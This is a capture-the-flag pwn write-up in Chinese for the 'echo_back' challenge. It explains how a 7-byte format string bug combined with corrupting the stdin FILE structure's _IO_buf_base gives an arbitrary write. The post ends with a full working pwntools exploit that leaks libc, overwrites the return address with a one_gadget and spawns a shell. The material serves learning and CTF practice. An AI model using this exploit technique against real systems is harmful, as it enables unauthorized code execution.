CTF-Pwn echo_back(文件IO指针利用+格式化字符串漏洞)

程序综述

supergate@ubuntu:~/Desktop/Pwn$ checksec echo_back
[*] '/home/supergate/Desktop/Pwn/echo_back'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,但是题目中给了libc库(为2.23版本),因此可以考虑使用onegadget来getshell。

supergate@ubuntu:~/Desktop/Pwn$ ./echo_back
#  ____ _   _ ___  ____ ____ ___  ____ ____ ____ ____ 
#  |     \_/  |__] |___ |__/ |__] |___ |__| |    |___ 
#  |___   |   |__] |___ |  \ |    |___ |  | |___ |___ 
#                                                     
#  Welcome to CyberPeace echo-back service!
#                                                     
-----------menu-----------
1. set name
2. echo back
3. exit
choice>> 

运行程序后发现有菜单选项,因此分别查看set nameecho back的函数功能

set name

ssize_t __fastcall readName(void *a1)
{
  printf("name:");
  return read(0, a1, 7uLL);
}

echo back

unsigned __int64 __fastcall inputContent(_BYTE *a1)
{
  size_t nbytes; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset((char *)&nbytes + 4, 0, 8uLL);
  printf("length:", 0LL);
  _isoc99_scanf("%d", &nbytes);
  getchar();
  if ( (nbytes & 0x80000000) != 0LL || (signed int)nbytes > 6 )
    LODWORD(nbytes) = 7;
  read(0, (char *)&nbytes + 4, (unsigned int)nbytes);
  if ( *a1 )
    printf("%s say:", a1);
  else
    printf("anonymous say:", (char *)&nbytes + 4);
  printf((const char *)&nbytes + 4);
  return __readfsqword(0x28u) ^ v3;
}

容易发现echo back中有一个格式化字符串漏洞

漏洞利用

如上所述,我们找到了一个格式化字符串漏洞的地方。但是可惜的是,我们只能输入7个字节的格式化字符串,这导致我们无法对栈内的值进行大规模的修改。但是修改某个地址的后几个字节为\x00还是比较容易的。
另外,echo back函数中也使用了scanf函数,而scanf函数又和IO_2_1_stdin有着较大的关系。我们可以考虑用文件IO指针来对程序进行攻击。

阅读scanf源码,知道scanf函数调用了_IO_vfscanf,并且提供了文件指针stdin。

使用pwndbg调试的时候可以看一下这个结构体

pwndbg> p _IO_2_1_stdin_
$1 = {
  file = {
    _flags = -72540021, 
    _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+132> "", 
    _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n", 
    _IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0, 
    _flags2 = 0, 
    _old_offset = -1, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "\n", 
    _lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>, 
    _offset = -1, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = -1, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

再向底层进行分析之后,发现最终会调用到_IO_new_file_underflow进行输入,我们跟进查看逻辑:

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp->_flags & _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      _IO_flush_all_linebuffered ();
#else
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
#endif
    }

  _IO_switch_to_get_mode (fp);
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。反之,则会进行一系列赋值操作,最终调用read的系统调用向_IO_buf_base中读入数据。可以想到,当可以控制_IO_buf_base的值就可以达到任意地址写的目的了。

题目中可以利用是因为在调用scanf之前的时候,_IO_read_ptr ==_IO_read_end。并且将_IO_buf_base的低位赋值为\x00时,指针恰好指向了stdin内部地址,并且可以再次覆写_IO_buf_base进一步造成内存任意写

pwndbg> x/30gx 0x7ffff7dd1963-0x83
0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad208b	0x00007ffff7dd1963
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:	0x00007ffff7dd1964	0x00007ffff7dd1963
0x7ffff7dd1900 <_IO_2_1_stdin_+32>:	0x00007ffff7dd1963	0x00007ffff7dd1963
0x7ffff7dd1910 <_IO_2_1_stdin_+48>:	0x00007ffff7dd1963	0x00007ffff7dd1963
0x7ffff7dd1920 <_IO_2_1_stdin_+64>:	0x00007ffff7dd1964	0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:	0x0000000000000000	0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:	0x000000000a000000	0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:	0x00007ffff7dd19c0	0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:	0x00000000ffffffff	0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:	0x0000000000000000	0x00007ffff7dd06e0
0x7ffff7dd19c0 <_IO_wide_data_0>:	0x0000000000000000	0x0000000000000000

而在scanf后面跟了一个getchar()函数,每次调用这个函数是会导致_IO_read_ptr++。这样我们就可以通过scanf输入0个字节,来让_IO_read_ptr ==_IO_read_end,从而向_IO_buf_base指向的地址写入数据。

显然,我们可以将_IO_buf_base设置为函数的返回地址,然后把这个地址写为onegadget的地址即可。

exp

from pwn import *
context.log_level='debug'

p=process('./echo_back')
elf=ELF('./echo_back')
libc=ELF('./libc.so.6')
#gdb.attach(p)

def inputContent(length,content):
    p.sendlineafter(">> ","2")
    p.sendafter("length:",str(length))
    p.sendline(content)

def readName(content):
    p.sendlineafter(">> ","1")
    p.sendlineafter("name:",content)

inputContent("7\n","%2$p")
p.recvuntil("anonymous say:")
libc.address=int(p.recvuntil("----",drop=True),16)-0x3c6780
gadget_addr=libc.address+0x45216
IO_buf_base_addr=libc.symbols['_IO_2_1_stdin_']+0x38
print "IO_buf_base_addr ======> "+hex(IO_buf_base_addr)

inputContent("7\n","%7$p")
p.recvuntil("anonymous say:")
ret_stack_addr=int(p.recvuntil("----",drop=True),16)-0x18
print "ret_stack_addr ======> "+hex(ret_stack_addr)

padding_addr=IO_buf_base_addr-0x18+0x63
readName(p64(IO_buf_base_addr))
inputContent("7\n","%16$hhn")

payload=p64(padding_addr)*3+p64(ret_stack_addr)+p64(ret_stack_addr+8)
#保证在_IO_buf_base处只写入8个字节的内容
inputContent(payload,'')

for i in range(0x28-1):
    p.sendlineafter(">> ","2")
    p.sendlineafter("length:",'')

p.sendlineafter(">> ","2")
p.sendlineafter("length:",p64(gadget_addr))
p.sendline()
p.interactive()


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值